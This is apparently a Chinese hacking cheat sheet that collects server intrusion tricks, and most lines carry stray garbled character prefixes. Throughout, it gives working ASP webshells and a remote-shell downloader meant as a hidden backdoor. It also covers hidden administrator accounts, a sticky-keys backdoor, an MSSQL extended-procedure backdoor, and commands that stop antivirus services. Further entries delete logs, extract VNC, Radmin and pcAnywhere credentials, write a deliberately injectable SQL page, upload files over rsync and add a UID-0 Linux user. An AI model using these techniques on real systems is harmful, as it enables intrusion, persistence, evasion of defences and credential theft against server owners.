渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
% k( V* p+ ]$ ]# U  zIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
9 D: |+ v. ^$ k
Usage:Cscript vWeb.vbs",4096,"Lilo"
( I+ w9 w# i3 }        WScript.Quit
4 M  W6 {3 S) |5 I% `! L! L' h2 P( QEnd If
Set ObjService=GetObject
* a" ?  S/ E' y) h
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
7 M: |6 Z: `7 V8 }                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
; v  q: U7 {; \( f5 J         
7 w8 F8 b! `: U# c; R$ d
1 ?& L! F" ^4 d' r/ W; W( B2 T       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

4 T* J4 T+ L! P: V# o0 F<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
8 h9 b4 z# h, {; G5 k% e" {6 J                For Each Binds In OService.ServerBindings
" ~& E# _. _7 H4 T4 b, G3 o3 S     
- @- F# p+ n! Z
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
7 r6 a: F0 k" `3 r# l( B6 F                Next
      
( Y, ?' j5 z% [/ ^+ y# L( I
( O4 [) m. i: A1 N         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
0 M3 Q& [9 {* P* f1 M复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
& ^1 p) D; z% k! B2 }9 @: `2 n4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
  `: r5 h+ l* F7 f$ E& R8 l  H—————————————————————
4 c" ^8 U; c6 A7 n1 LWordPress的平台，爆绝对路径的方法是：
% J- s! Q& g% |; \  Kurl/wp-content/plugins/akismet/akismet.php
5 C; u8 N# t/ @/ \' C6 i  Furl/wp-content/plugins/akismet/hello.php
——————————————————————
* m, l* \0 Q- A2 B% g; zphpMyAdmin暴路径办法:
. R" t0 D. X1 e( d& n: \phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
9 T  E! U$ ~* [7 a3 zphpMyAdmin/index.php?lang[]=1
, K7 w  g* w5 gphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
( z" X$ y3 z& }7 L- L: c, o1 O4 H) O7 Kdata/htdocs.网站/网站/
: E& L9 F/ Q" y8 a/ z4 }8 O" |$ ]% d; F————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
- s: a6 U9 U+ O2 x4 X( b' anetsh ras show user #查看哪些用户可以拨入VPN
0 ^5 _5 |2 z. L) t4 {netsh ras ip show config #查看VPN分配IP的方式
1 K! }0 L) y' `netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
! m: E1 Y' A2 \9 e9 Wnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
/ c+ N" r# K9 J8 bexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
4 b5 M( p- K$ O; P& C, C+ l然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
& Y$ ^, \! T  v' u0 Ujs:
. g; o% }" t& m8 a4 @% t9 lvar o=new ActiveXObject( "Shell.Users" );
7 e. Q) q- N3 q" S) R' X3 z6 Gz=o.create("test") ;
z.changePassword("123456","")
* ^6 B! X6 A& |8 F, L' k4 p# Iz.setting("AccountType")=3;

% w" u. Z8 Z0 r" D* kvbs:
Set   o=CreateObject( "Shell.Users" )
7 y. v) ~# u4 L; GSet z=o.create("test")
( S. B* A' ^2 H) a- Rz.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
* {  z" e3 \! S
! u( R! G/ U; O2 _+ K+ d命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
, ^: l2 r7 l  P+ x2 J3 x  j. X) gb、内网环境（LCX）
! ~) {5 ^3 E; g' b- n8 B' s7 [c、终端服务器超出了最大允许连接
' J6 Z" T7 x8 n: CXP 运行mstsc /admin
; [0 L- M! k9 k" _/ ?" L2003 运行mstsc /console   

8 y4 K& C2 q3 c: A/ _杀软关闭（把杀软所在的文件的所有权限去掉）
7 v! |: C' u. H7 d5 h" [! ^处理变态诺顿企业版：
, F* r/ n) ]  B  l4 X0 K0 b* f0 S  `& Qnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
" H& P) M" ]9 s! l3 Inet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
! p' f. r3 |, @3 X+ ?" lcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
. M1 c3 z9 ~. _' Ncopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
4 W6 U( Z7 t/ w, ^* G1 t3 U6 b& Z——————————————————————
隐藏账号添加：
" J7 `# b$ l+ j+ b5 E1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
& C3 x* ~8 B( b3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
- G( \: `9 T, H0 m2 ~: f# s- W+ m4 _MSSQL扩展后门：
6 D) l, t& i% B* z5 m/ k) ~USE master;
7 V" W" z# h! h) Z% A. j5 e9 PEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
- {# V5 ?+ t/ z2 b: ^; EGRANT exec On xp_helpsystem TO public;
! i9 ~! {9 z$ P; k4 f———————————————————————
日志处理
# `6 X: |. }2 d% vC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
( D8 i3 U4 o8 D/ Nex011120.log / ex011121.log / ex011124.log三个文件，
; h( s1 e7 b1 Z直接删除 ex0111124.log
6 J$ P& L7 X- u- J9 i不成功，“原文件...正在使用”
* F" u! J% {0 `- I  v; a当然可以直接删除ex011120.log / ex011121.log
' U- n( f  }$ I, ^$ ?) h1 O用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
/ _' a% z3 C. C5 E当停止msftpsvc服务后可直接删除ex011124.log
0 ^/ A7 V" Q  x. ?
MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
3 H) s6 w9 G  T2 u2 g# ~- `! s% OHKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
) k. ~- {! K9 C$ l. b% {MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
9 \: P2 @6 a& t9 o( g9 Z9 {
: G" m+ Y0 H. Q) f4 ]Server\90\Tools\Shell\mru.dat
3 v% S: e- E% e/ ^3 j—————————————————————————
& [$ d0 m/ z9 S9 R$ h% h' z2 J2 n防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
5 M# o3 s" Z; m# N# ^! P  w
  z; j3 {6 X& A( E6 D0 u<%
% L/ R' A  M/ t+ hSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
$ C# _. m; K8 M  O  m5 oOn Error Resume Next
" p; z0 c4 ^  \  uSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
2 V/ Y7 n$ K( j; @. h# {$ g- n/ b.Send
" i' [: s/ A# q( f% Q2 dGetRemoteData = .ResponseBody
End With
$ V4 N/ v3 {( k: R8 J/ `, ^2 X( u' `Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
( V) [7 [' A$ f  p/ Q.Open
9 x& s6 q; q1 m2 F.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
! }8 u: y. m2 H6 @.Cancel()
.Close()
End With
Set Ads=nothing
End Sub
7 s. l( e  D; ^! `0 m
# V. T# }. q1 Z& J- E5 zeWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
1 o& T' P  u  S' n%>
0 t! D8 n+ I$ Y" s! L; T  n
5 T$ s3 e3 [0 I, h8 G. J! NVNC提权方法:
! i) \. n  x. {! A. L' K利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
" k+ _1 Z3 X; C1 n- U# T$ n注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
" ]: o3 {2 z: L$ m3 Hregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
- ~1 ?8 y- s  ~- E$ xRadmin 默认端口是4899，
* h; o4 Z5 @; V5 F1 CHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
, w- d$ B% }! V1 V: LHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
7 R1 a4 R  I2 y6 s" A如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
' c6 {* Z  _: u9 X6 I: E保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
5 h8 y! R2 k0 {8 V# W来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
* |2 B& H/ x- g. }3 Z7i24的web目录也是可写，权限为administrator。

6 G7 `: d: x& q3 [% [; l- x1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
2 U! N5 k" Y& N% Z& p/ IstrSQLDBUserName = "数据库帐号"
1 D1 e+ ~3 ?. e! |' N* sstrSQLDBPassword = "数据库密码"
7 \8 h( Y& {9 w/ V9 VstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

) t1 @# z+ S6 m! H2 G- ~";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
4 T3 h$ _! h0 t4 T
strSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
9 e. p2 W4 D+ T4 g+ z8 R- G%>
/ p: G7 G9 F6 w. @; R( E; P1 }1 x复制代码
******liunx 相关******
一.ldap渗透技巧
1 ]' }) M% x0 v6 ?! B7 D1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

  L/ D$ C3 Y+ Z0 _4 {. z' L7 A2.less /etc/ldap.conf
. t' W1 `+ Y$ p4 Cbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
$ o! g! ~; y& [. I" ^7 y
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% |3 Q2 ]& ?) {9 G& U! t
! s1 o& R% i0 R3 U# r"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 N' D- ^- f8 n1 F8 K* E有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# t# c5 Z$ H' E9 k& E" ~
) \3 j( d) C0 Y9 J8 H% W: V- _"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( t  X. @5 F: X1 a! Z+ g, X
2 d2 B, q; _; K
. ^; R& o7 z) B2 H1 M  ]4.查找10条用户记录
- `, `/ b; M' Z+ R! s# jldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
" [8 \, p3 T- ^/ p
$ n7 l$ J/ f. |4 v2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
+ J  u7 l* [+ A- P! v匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# g. X, x0 N8 b( p" ]6 x; C
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
0 S0 Z; {4 |) ~. ~/ ^+ I; Jldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( I; z+ H, A! ?

! y- j- q, k) C" ^' P4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
' {2 ^, b) \% N' w- i
渗透实战:
9 h) [8 ^/ I- O0 _  D7 ]1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
/ K/ h) X# a3 \/ d/ MobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
; r: Y3 e+ r1 ?. n9 e! uobjectClass: organizationalPerson
objectClass: person
objectClass: top
& c5 C1 Q/ C) }2 z" _0 isn: manager
cn: manager

) I8 b, i6 p4 H, c/ b" z0 rdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
9 v$ G* k8 y. o2 T# o0 x. B8 LobjectClass: inetOrgPerson
7 ]- ]" @# J7 IobjectClass: organizationalPerson
objectClass: person
& L% _+ ?& f3 W4 }: l" ?objectClass: top
sn: superadmin
( t9 |' \7 N3 s$ D3 D1 D7 ncn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
2 f2 W6 p+ E, F+ t2 {/ }uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
4 G+ O% `+ Q$ s. j1 [7 q; qobjectClass: person
- ?' ?5 R4 P" Q4 o9 e* p- JobjectClass: top
  b% G: \  l2 n9 `8 q% J* N  u( msn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
0 O6 Q0 b5 i& i- tobjectClass: top
; A# w% T6 {5 R0 }* `9 G; d3 dobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
& L# U. s& d) M, M8 ~4 g% Ysn: dcp_anonymous
cn: dcp_anonymous

2 T' I4 [( `5 C8 S1 V2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

0 d7 p3 N8 u6 j3 e- |1 y; Amore
( B$ k0 v9 `8 P- C4 }version: 1
dn: dc=ruc,dc=edu,dc=cn
) ]6 ~( z- W8 j3 t8 `  z9 H( ]dc: ruc
* r6 P, U+ L0 G* P4 o- GobjectClass: domain
. X* k" w) F  L* O
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
  E$ K* e( i0 Bversion: 1
# n2 y2 k6 G2 k3 U2 Udn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
# v# d3 ]% }" Q6 ysupportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
1 Y& n1 N8 @1 E& |$ CsupportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
: U3 b: a3 g. j' n# ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
! c8 p* Y8 [. I7 {1 fsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
; Y1 l3 U, [/ b- |3 a3 SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
4 k5 k8 i2 r" A* e. [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
) P, \! x/ G- y, {; @/ ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
- n5 _$ }7 D4 l# d& K6 q' {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
7 t9 B0 @1 W  N$ MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
! b! j: a8 Z: x5 R, H. V$ G. O* DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
- U7 u+ ~' z3 e7 v) PsupportedExtension: 1.3.6.1.4.1.1466.20037
- g) H" U1 R7 O. P; isupportedExtension: 1.3.6.1.4.1.4203.1.11.3
  Q$ D; r$ h9 [7 e; y6 d. GsupportedControl: 2.16.840.1.113730.3.4.2
2 U" x) `9 [& |( @( KsupportedControl: 2.16.840.1.113730.3.4.3
4 ~: [0 w+ G+ W# ~2 }; ZsupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
: ]( F$ U9 ]+ g1 y% h8 y) gsupportedControl: 1.2.840.113556.1.4.473
! T2 j" F4 U' J! F& N. vsupportedControl: 2.16.840.1.113730.3.4.9
% V0 p" W; G, Q" @% ]7 z$ bsupportedControl: 2.16.840.1.113730.3.4.16
: M) S8 G1 s# |% {- I' AsupportedControl: 2.16.840.1.113730.3.4.15
, R* v% h' U, S$ hsupportedControl: 2.16.840.1.113730.3.4.17
7 m2 Y. S3 E% E0 ~2 d! e/ S& fsupportedControl: 2.16.840.1.113730.3.4.19
: s3 M! Q5 `! @( a$ C0 PsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
6 l- U* g. U6 \' HsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
- S( P- C/ K7 i7 \supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
. S$ l! d9 a" Z$ ^- T* @% g9 ?) L( WsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
9 n9 ?. {$ V, o  }( MsupportedControl: 2.16.840.1.113730.3.4.12
- r$ Y! m+ J" k9 e4 P$ esupportedControl: 2.16.840.1.113730.3.4.18
8 U5 ]2 }0 {- }- K# ?8 ]supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
2 ]6 k  j+ y" b4 ]6 ~/ U: asupportedSASLMechanisms: DIGEST-MD5
9 S3 H6 ?. D5 J& A' M2 ^( n) a' y; EsupportedLDAPVersion: 2
! Y" \3 y  [2 q7 k, U, nsupportedLDAPVersion: 3
& B" c6 F) h5 bvendorName: Sun Microsystems, Inc.
4 q/ S& a5 G7 @: R* N$ ]" W2 b1 ~vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
: x8 q' J. c& |; i; i9 Enetscapemdsuffix: cn=ldap://dc=webA:389
- @( o% A- |3 }- RsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
9 f1 @9 u' i: H8 ?7 a: ~  |supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
' u6 e8 B8 k" h7 q. }supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
& L- u9 G* F5 f0 J+ N7 \3 ysupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
7 O+ X$ o' c* ~( q+ lsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
) g/ r/ i, E/ z6 `, g) PsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
* k; b* I7 K: FsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
9 g; S; _# j' P  A& i  ]' ^6 T3 MsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
4 r1 A( O4 ]" I: @$ ^- ]supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
1 S7 T5 D8 A$ g. I( J9 G: J+ Q, hsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
: D: r2 S1 Q( S* Y# T6 isupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
! Y. Y. C/ H( K# \0 XsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
7 i+ R$ L8 v. k, w! EsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
1 P- r# M! I6 U" f9 n$ VsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
5 N1 M0 t7 m8 j! w9 b. }/ bsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
+ w5 C6 ?% n+ r2 T8 PsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
" G' s$ g9 N% r# f' e7 J8 fsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
6 U/ ~+ E" s; L2 LsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
2 D* o1 E3 i$ zsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
( Q1 w3 u1 w$ C  b8 }supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
+ a/ Q# x0 K, ?2 j1 `$ v————————————
2. NFS渗透技巧
: P; B, T+ a7 v( Z" y3 Wshowmount -e ip
列举IP
——————
4 }) W5 @7 N& ~( k2 S5 [3.rsync渗透技巧
1.查看rsync服务器上的列表
2 W6 L. \% h( w0 G% L2 {rsync 210.51.X.X::
finance
; W* ^4 M" G- X3 }) k7 l- limg_finance
auto
img_auto
0 s4 ?4 o0 v" j' G. U$ Chtml_cms
img_cms
ent_cms
. E/ }; ~3 t5 V$ R6 c; b8 Sent_img
ceshi
res_img
res_img_c2
+ ?" e9 M, H1 Q' Xchip
2 }. t- x1 Q' b8 T  zchip_c2
, O/ i& B% t1 L5 P& u, H6 ment_icms
& `$ \$ o  N6 D8 J+ xgames
gamesimg
! A$ V. a- e2 A9 x; t8 m+ zmedia
5 |8 m/ X: y/ Q% H- i5 Smediaimg
fashion
- K' U5 W" K5 X9 Bres-fashion
res-fo
; f6 N7 p# F5 d2 itaobao-home
res-taobao-home
; H+ Y6 l* b+ K; s) u+ jhouse
6 S/ y; k& T7 O, Tres-house
8 B. v: w1 Q" _0 Z3 h& Dres-home
res-edu
res-ent
res-labs
+ J/ ?" q- b( P' w! Jres-news
: m5 K# l$ _8 ^; }& mres-phtv
res-media
) a4 K: s5 X. F5 `% W+ o5 Q2 jhome
! O* V  J3 L8 w$ s% xedu
2 u& T0 ~$ O. g7 Jnews
res-book

" F( n- I0 ]0 [/ t- s; O看相应的下级目录(注意一定要在目录后面添加上/)

, p* B$ ~* s! s
rsync 210.51.X.X::htdocs_app/
+ x  P" }* i, c9 h3 p1 H* I6 Nrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
  g9 H1 V+ ~' i9 {. y* t) t1 Y
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
) G/ q! S: y, x6 P1 O0 Y+ Gnc -vv baidu.com 80
' O+ I; Z3 _! `* P' j5 t+ ?GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
+ ?& D, C( ^# O+ e; tssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

# G/ j8 `; i9 ]6 u六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
8 x9 H5 k8 u( p' C) ?7 J) G
% ~( n8 s, x' K! ?/ g% I8 i# c" _15&catid=32:languages&Itemid=47

% l1 `+ I  O- m. [1 u& G" A4 Q重新设置密码
6 U! I" g6 R# S% }( I- G8 a& \  c$ mindex.php?option=com_user&view=reset&layout=confirm
2 x( j2 i! I# Y3 e. m
七: Linux添加UID为0的root用户
+ g1 `8 B7 Q9 m5 E+ q6 \useradd -o -u 0 nothack
/ `+ j( Y  V; U) s4 ?
八.freebsd本地提权
[argp@julius ~]$ uname -rsi
; d6 K0 A4 x% X* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
& o" G3 ^$ m- Y4 M9 d' @* [argp@julius ~]$ ./nfs_mount_ex
*
5 R5 P7 A9 l( O: z$ ?calling nmount()

: M7 |2 i! [7 j$ K& U# l" z（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
